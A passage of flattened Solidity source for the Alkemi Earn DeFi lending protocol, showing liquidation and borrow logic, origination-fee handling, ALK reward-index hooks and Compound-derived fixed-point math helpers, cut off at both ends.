localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow); (err, localResults.updatedCash_ProtocolUnderwaterAsset) = add( localResults.currentCash_ProtocolUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET ); } // The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow // (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.) // We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it. ( err, localResults.newSupplyIndex_UnderwaterAsset ) = calculateInterestIndex( borrowMarket.supplyIndex, borrowMarket.supplyRateMantissa, borrowMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET ); } ( rateCalculationResultCode, localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset ) = borrowMarket.interestRateModel.getSupplyRate( assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo .LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode ); } ( rateCalculationResultCode, localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset ) = borrowMarket.interestRateModel.getBorrowRate( assetBorrow, localResults.updatedCash_ProtocolUnderwaterAsset, localResults.newTotalBorrows_ProtocolUnderwaterAsset ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo .LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET, rateCalculationResultCode ); } // Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above. // Now we need to calculate the borrow index. // We don't need to calculate new rates for the collateral asset because we have not changed utilization: // - accumulating interest on the target user's collateral does not change cash or borrows // - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows. ( err, localResults.newBorrowIndex_CollateralAsset ) = calculateInterestIndex( collateralMarket.borrowIndex, collateralMarket.borrowRateMantissa, collateralMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET ); } // We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index (err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub( localResults.currentSupplyBalance_TargetCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset ); // The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance // maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits closeBorrowAmount_TargetUnderwaterAsset // which in turn limits seizeSupplyAmount_TargetCollateralAsset. assert(err == Error.NO_ERROR); // We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index ( err, localResults.updatedSupplyBalance_LiquidatorCollateralAsset ) = add( localResults.currentSupplyBalance_LiquidatorCollateralAsset, localResults.seizeSupplyAmount_TargetCollateralAsset ); // We can't overflow here because if this would overflow, then we would have already overflowed above and failed // with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET assert(err == Error.NO_ERROR); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save borrow market updates borrowMarket.blockNumber = block.number; borrowMarket.totalBorrows = localResults .newTotalBorrows_ProtocolUnderwaterAsset; // borrowMarket.totalSupply does not need to be updated borrowMarket.supplyRateMantissa = localResults .newSupplyRateMantissa_ProtocolUnderwaterAsset; borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset; borrowMarket.borrowRateMantissa = localResults .newBorrowRateMantissa_ProtocolUnderwaterAsset; borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset; // Save collateral market updates // We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply. collateralMarket.blockNumber = block.number; collateralMarket.totalSupply = localResults .newTotalSupply_ProtocolCollateralAsset; collateralMarket.supplyIndex = localResults .newSupplyIndex_CollateralAsset; collateralMarket.borrowIndex = localResults .newBorrowIndex_CollateralAsset; // Save user updates localResults .startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset .principal; // save for use in event borrowBalance_TargeUnderwaterAsset.principal = localResults .updatedBorrowBalance_TargetUnderwaterAsset; borrowBalance_TargeUnderwaterAsset.interestIndex = localResults .newBorrowIndex_UnderwaterAsset; localResults .startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset .principal; // save for use in event supplyBalance_TargetCollateralAsset.principal = localResults .updatedSupplyBalance_TargetCollateralAsset; supplyBalance_TargetCollateralAsset.interestIndex = localResults .newSupplyIndex_CollateralAsset; localResults .startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset .principal; // save for use in event supplyBalance_LiquidatorCollateralAsset.principal = localResults .updatedSupplyBalance_LiquidatorCollateralAsset; supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults .newSupplyIndex_CollateralAsset; // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) if (assetBorrow != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically revertEtherToUser(msg.sender, msg.value); err = doTransferIn( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED); } } else { if (msg.value == requestedAmountClose) { uint256 supplyError = supplyEther( localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); //Repay excess funds if (localResults.reimburseAmount > 0) { revertEtherToUser( localResults.liquidator, localResults.reimburseAmount ); } if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } supplyOriginationFeeAsAdmin( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset, localResults.newSupplyIndex_UnderwaterAsset ); emit BorrowLiquidated( localResults.targetAccount, localResults.assetBorrow, localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset, localResults.liquidator, localResults.assetCollateral, localResults.seizeSupplyAmount_TargetCollateralAsset ); return uint256(Error.NO_ERROR); // success } /** * @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)] * If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed. * Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO. * @return Return values are expressed in 1e18 scale */ function calculateDiscountedRepayToEvenAmount( address targetAccount, Exp memory underwaterAssetPrice, address assetBorrow ) internal view returns (Error, uint256) { Error err; Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity Exp memory accountShortfall_TargetUser; Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1 Exp memory discountedPrice_UnderwaterAsset; Exp memory rawResult; // we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio ( err, _accountLiquidity, accountShortfall_TargetUser ) = calculateAccountLiquidity(targetAccount); if (err != Error.NO_ERROR) { return (err, 0); } (err, collateralRatioMinusLiquidationDiscount) = subExp( collateralRatio, liquidationDiscount ); if (err != Error.NO_ERROR) { return (err, 0); } (err, discountedCollateralRatioMinusOne) = subExp( collateralRatioMinusLiquidationDiscount, Exp({mantissa: mantissaOne}) ); if (err != Error.NO_ERROR) { return (err, 0); } (err, discountedPrice_UnderwaterAsset) = mulExp( underwaterAssetPrice, discountedCollateralRatioMinusOne ); // calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio // discountedCollateralRatioMinusOne < collateralRatio // so if underwaterAssetPrice * collateralRatio did not overflow then // underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either assert(err == Error.NO_ERROR); /* The liquidator may not repay more than what is allowed by the closeFactor */ uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow); Exp memory maxClose; (err, maxClose) = mulScalar( Exp({mantissa: closeFactorMantissa}), borrowBalance ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset); // It's theoretically possible an asset could have such a low price that it truncates to zero when discounted. if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) * @return Return values are expressed in 1e18 scale */ function calculateDiscountedBorrowDenominatedCollateral( Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint256 supplyCurrent_TargetCollateralAsset ) internal view returns (Error, uint256) { // To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end // [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ] Error err; Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount) Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow Exp memory rawResult; (err, onePlusLiquidationDiscount) = addExp( Exp({mantissa: mantissaOne}), liquidationDiscount ); if (err != Error.NO_ERROR) { return (err, 0); } (err, supplyCurrentTimesOracleCollateral) = mulScalar( collateralPrice, supplyCurrent_TargetCollateralAsset ); if (err != Error.NO_ERROR) { return (err, 0); } (err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp( onePlusLiquidationDiscount, underwaterAssetPrice ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp( supplyCurrentTimesOracleCollateral, onePlusLiquidationDiscountTimesOracleBorrow ); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral * @return Return values are expressed in 1e18 scale */ function calculateAmountSeize( Exp memory underwaterAssetPrice, Exp memory collateralPrice, uint256 closeBorrowAmount_TargetUnderwaterAsset ) internal view returns (Error, uint256) { // To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices: // underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice // re-used for all intermediate errors Error err; // (1+liquidationDiscount) Exp memory liquidationMultiplier; // assetPrice-of-underwaterAsset * (1+liquidationDiscount) Exp memory priceUnderwaterAssetTimesLiquidationMultiplier; // priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset // or, expanded: // underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset Exp memory finalNumerator; // finalNumerator / priceCollateral Exp memory rawResult; (err, liquidationMultiplier) = addExp( Exp({mantissa: mantissaOne}), liquidationDiscount ); // liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow. assert(err == Error.NO_ERROR); (err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp( underwaterAssetPrice, liquidationMultiplier ); if (err != Error.NO_ERROR) { return (err, 0); } (err, finalNumerator) = mulScalar( priceUnderwaterAssetTimesLiquidationMultiplier, closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return (err, 0); } (err, rawResult) = divExp(finalNumerator, collateralPrice); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(rawResult)); } /** * @notice Users borrow assets from the protocol to their own address * @param asset The market asset to borrow * @param amount The amount to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(address asset, uint256 amount) public nonReentrant returns (uint256) { if (paused) { return fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED); } refreshAlkBorrowIndex(asset, msg.sender, false); BorrowLocalVars memory localResults; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[msg.sender][asset]; Error err; uint256 rateCalculationResultCode; // Fail if market not supported if (!market.isSupported) { return fail( Error.MARKET_NOT_SUPPORTED, FailureInfo.BORROW_MARKET_NOT_SUPPORTED ); } // We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } // Calculate origination fee. (err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee( amount ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED ); } uint256 orgFeeBalance = localResults.borrowAmountWithFee - amount; // Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated` (err, localResults.userBorrowUpdated) = add( localResults.userBorrowCurrent, localResults.borrowAmountWithFee ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee (err, localResults.newTotalBorrows) = addThenSub( market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED ); } // Check customer liquidity ( err, localResults.accountLiquidity, localResults.accountShortfall ) = calculateAccountLiquidity(msg.sender); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED ); } // Fail if customer already has a shortfall if (!isZeroExp(localResults.accountShortfall)) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT ); } // Would the customer have a shortfall after this borrow (including origination fee)? // We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity. // This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity` ( err, localResults.ethValueOfBorrowAmountWithFee ) = getPriceForAssetAmountMulCollatRatio( asset, localResults.borrowAmountWithFee ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED); } if ( lessThanExp( localResults.accountLiquidity, localResults.ethValueOfBorrowAmountWithFee ) ) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL ); } // Fail gracefully if protocol has insufficient cash localResults.currentCash = getCash(asset); // We need to calculate what the updated cash will be after we transfer out to the user (err, localResults.updatedCash) = sub(localResults.currentCash, amount); if (err != Error.NO_ERROR) { // Note: we ignore error here and call this token insufficient cash return fail( Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. // We calculate the newSupplyIndex, but we have newBorrowIndex already (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalBorrows = localResults.newTotalBorrows; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event borrowBalance.principal = localResults.userBorrowUpdated; borrowBalance.interestIndex = localResults.newBorrowIndex; originationFeeBalance[msg.sender][asset] += orgFeeBalance; if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) err = doTransferOut(asset, msg.sender, amount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED); } } else { withdrawEther(msg.sender, amount); // send Ether to user } emit BorrowTaken( msg.sender, asset, amount, localResults.startingBalance, localResults.borrowAmountWithFee, borrowBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice supply `amount` of `asset` (which must be supported) to `admin` in the protocol * @dev add amount of supported asset to admin's account * @param asset The market asset to supply * @param amount The amount to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function supplyOriginationFeeAsAdmin( address asset, address user, uint256 amount, uint256 newSupplyIndex ) private { refreshAlkSupplyIndex(asset, admin, false); uint256 originationFeeRepaid = 0; if (originationFeeBalance[user][asset] != 0) { if (amount < originationFeeBalance[user][asset]) { originationFeeRepaid = amount; } else { originationFeeRepaid = originationFeeBalance[user][asset]; } Balance storage balance = supplyBalances[admin][asset]; SupplyLocalVars memory localResults; // Holds all our uint calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). originationFeeBalance[user][asset] -= originationFeeRepaid; (err, localResults.userSupplyCurrent) = calculateBalance( balance.principal, balance.interestIndex, newSupplyIndex ); revertIfError(err); (err, localResults.userSupplyUpdated) = add( localResults.userSupplyCurrent, originationFeeRepaid ); revertIfError(err); // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply (err, localResults.newTotalSupply) = addThenSub( markets[asset].totalSupply, localResults.userSupplyUpdated, balance.principal ); revertIfError(err); // Save market updates markets[asset].totalSupply = localResults.newTotalSupply; // Save user updates localResults.startingBalance = balance.principal; balance.principal = localResults.userSupplyUpdated; balance.interestIndex = newSupplyIndex; emit SupplyOrgFeeAsAdmin( admin, asset, originationFeeRepaid, localResults.startingBalance, localResults.userSupplyUpdated ); } } /** * @notice Set the address of the Reward Control contract to be triggered to accrue ALK rewards for participants * @param _rewardControl The address of the underlying reward control contract * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function setRewardControlAddress(address _rewardControl) external returns (uint256) { // Check caller = admin require( msg.sender == admin, "SET_REWARD_CONTROL_ADDRESS_ADMIN_CHECK_FAILED" ); require( address(rewardControl) != _rewardControl, "The same Reward Control address" ); require( _rewardControl != address(0), "RewardControl address cannot be empty" ); rewardControl = RewardControlInterface(_rewardControl); return uint256(Error.NO_ERROR); // success } /** * @notice Trigger the underlying Reward Control contract to accrue ALK supply rewards for the supplier on the specified market * @param market The address of the market to accrue rewards * @param supplier The address of the supplier to accrue rewards * @param isVerified Verified / Public protocol */ function refreshAlkSupplyIndex( address market, address supplier, bool isVerified ) internal { if (address(rewardControl) == address(0)) { return; } rewardControl.refreshAlkSupplyIndex(market, supplier, isVerified); } /** * @notice Trigger the underlying Reward Control contract to accrue ALK borrow rewards for the borrower on the specified market * @param market The address of the market to accrue rewards * @param borrower The address of the borrower to accrue rewards * @param isVerified Verified / Public protocol */ function refreshAlkBorrowIndex( address market, address borrower, bool isVerified ) internal { if (address(rewardControl) == address(0)) { return; } rewardControl.refreshAlkBorrowIndex(market, borrower, isVerified); } /** * @notice Get supply and borrows for a market * @param asset The market asset to find balances of * @return updated supply and borrows */ function getMarketBalances(address asset) public view returns (uint256, uint256) { Error err; uint256 newSupplyIndex; uint256 marketSupplyCurrent; uint256 newBorrowIndex; uint256 marketBorrowCurrent; Market storage market = markets[asset]; // Calculate the newSupplyIndex, needed to calculate market's supplyCurrent (err, newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newSupplyIndex and stored principal to calculate the accumulated balance (err, marketSupplyCurrent) = calculateBalance( market.totalSupply, market.supplyIndex, newSupplyIndex ); revertIfError(err); // Calculate the newBorrowIndex, needed to calculate market's borrowCurrent (err, newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newBorrowIndex and stored principal to calculate the accumulated balance (err, marketBorrowCurrent) = calculateBalance( market.totalBorrows, market.borrowIndex, newBorrowIndex ); revertIfError(err); return (marketSupplyCurrent, marketBorrowCurrent); } /** * @dev Function to revert in case of an internal exception */ function revertIfError(Error err) internal pure { require( err == Error.NO_ERROR, "Function revert due to internal exception" ); } } // File: contracts/RewardControlStorage.sol pragma solidity 0.4.24; contract RewardControlStorage { struct MarketState { // @notice The market's last updated alkSupplyIndex or alkBorrowIndex uint224 index; // @notice The block number the index was last updated at uint32 block; } // @notice A list of all markets in the reward program mapped to respective verified/public protocols // @notice true => address[] represents Verified Protocol markets // @notice false => address[] represents Public Protocol markets mapping(bool => address[]) public allMarkets; // @notice The index for checking whether a market is already in the reward program // @notice The first mapping represents verified / public market and the second gives the existence of the market mapping(bool => mapping(address => bool)) public allMarketsIndex; // @notice The rate at which the Reward Control distributes ALK per block uint256 public alkRate; // @notice The portion of alkRate that each market currently receives // @notice The first mapping represents verified / public market and the second gives the alkSpeeds mapping(bool => mapping(address => uint256)) public alkSpeeds; // @notice The ALK market supply state for each market // @notice The first mapping represents verified / public market and the second gives the supplyState mapping(bool => mapping(address => MarketState)) public alkSupplyState; // @notice The ALK market borrow state for each market // @notice The first mapping represents verified / public market and the second gives the borrowState mapping(bool => mapping(address => MarketState)) public alkBorrowState; // @notice The snapshot of ALK index for each market for each supplier as of the last time they accrued ALK // @notice verified/public => market => supplier => supplierIndex mapping(bool => mapping(address => mapping(address => uint256))) public alkSupplierIndex; // @notice The snapshot of ALK index for each market for each borrower as of the last time they accrued ALK // @notice verified/public => market => borrower => borrowerIndex mapping(bool => mapping(address => mapping(address => uint256))) public alkBorrowerIndex; // @notice The ALK accrued but not yet transferred to each participant mapping(address => uint256) public alkAccrued; // @notice To make sure initializer is called only once bool public initializationDone; // @notice The address of the current owner of this contract address public owner; // @notice The proposed address of the new owner of this contract address public newOwner; // @notice The underlying AlkemiEarnVerified contract AlkemiEarnVerified public alkemiEarnVerified; // @notice The underlying AlkemiEarnPublic contract AlkemiEarnPublic public alkemiEarnPublic; // @notice The ALK token address address public alkAddress; // Hard cap on the maximum number of markets uint8 public MAXIMUM_NUMBER_OF_MARKETS; } // File: contracts/ExponentialNoError.sol // Cloned from https://github.com/compound-finance/compound-money-market/blob/master/contracts/Exponential.sol -> Commit id: 241541a pragma solidity 0.4.24; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract ExponentialNoError { uint256 constant expScale = 1e18; uint256 constant doubleScale = 1e36; uint256 constant halfExpScale = expScale / 2; uint256 constant mantissaOne = expScale; struct Exp { uint256 mantissa; } struct Double { uint256 mantissa; } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) internal pure returns (uint256) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint256 scalar) internal pure returns (uint256) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt( Exp memory a, uint256 scalar, uint256 addend ) internal pure returns (uint256) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) internal pure returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) internal pure returns (bool) { return value.mantissa == 0; } function safe224(uint256 n, string memory errorMessage) internal pure returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint256 a, uint256 b) internal pure returns (uint256) { return add_(a, b, "addition overflow"); } function add_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint256 a, uint256 b) internal pure returns (uint256) { return sub_(a, b, "subtraction underflow"); } function sub_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint256 b) internal pure returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint256 a, Exp memory b) internal pure returns (uint256) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint256 a, Double memory b) internal pure returns (uint256) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint256 a, uint256 b) internal pure returns (uint256) { return mul_(a, b, "multiplication overflow"); } function mul_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) internal pure returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint256 b) internal pure returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint256 a, Exp memory b) internal pure returns (uint256) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) internal pure returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint256 a, Double memory b) internal pure returns (uint256) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint256 a, uint256 b) internal pure returns (uint256) { return div_(a, b, "divide by zero"); } function div_( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function fraction(uint256 a, uint256 b) internal pure returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } // File: contracts/RewardControl.sol pragma solidity 0.4.24; contract RewardControl is RewardControlStorage, RewardControlInterface, ExponentialNoError { /** * Events */ /// @notice Emitted when a new ALK speed is calculated for a market event AlkSpeedUpdated( address indexed market, uint256 newSpeed, bool isVerified ); /// @notice Emitted when ALK is distributed to a supplier event DistributedSupplierAlk( address indexed market, address indexed supplier, uint256 supplierDelta, uint256 supplierAccruedAlk, uint256 supplyIndexMantissa, bool isVerified ); /// @notice Emitted when ALK is distributed to a borrower event DistributedBorrowerAlk( address indexed market, address indexed borrower, uint256 borrowerDelta, uint256 borrowerAccruedAlk, uint256 borrowIndexMantissa, bool isVerified ); /// @notice Emitted when ALK is transferred to a participant event TransferredAlk( address indexed participant, uint256 participantAccrued, address market, bool isVerified ); /// @notice Emitted when the owner of the contract is updated event 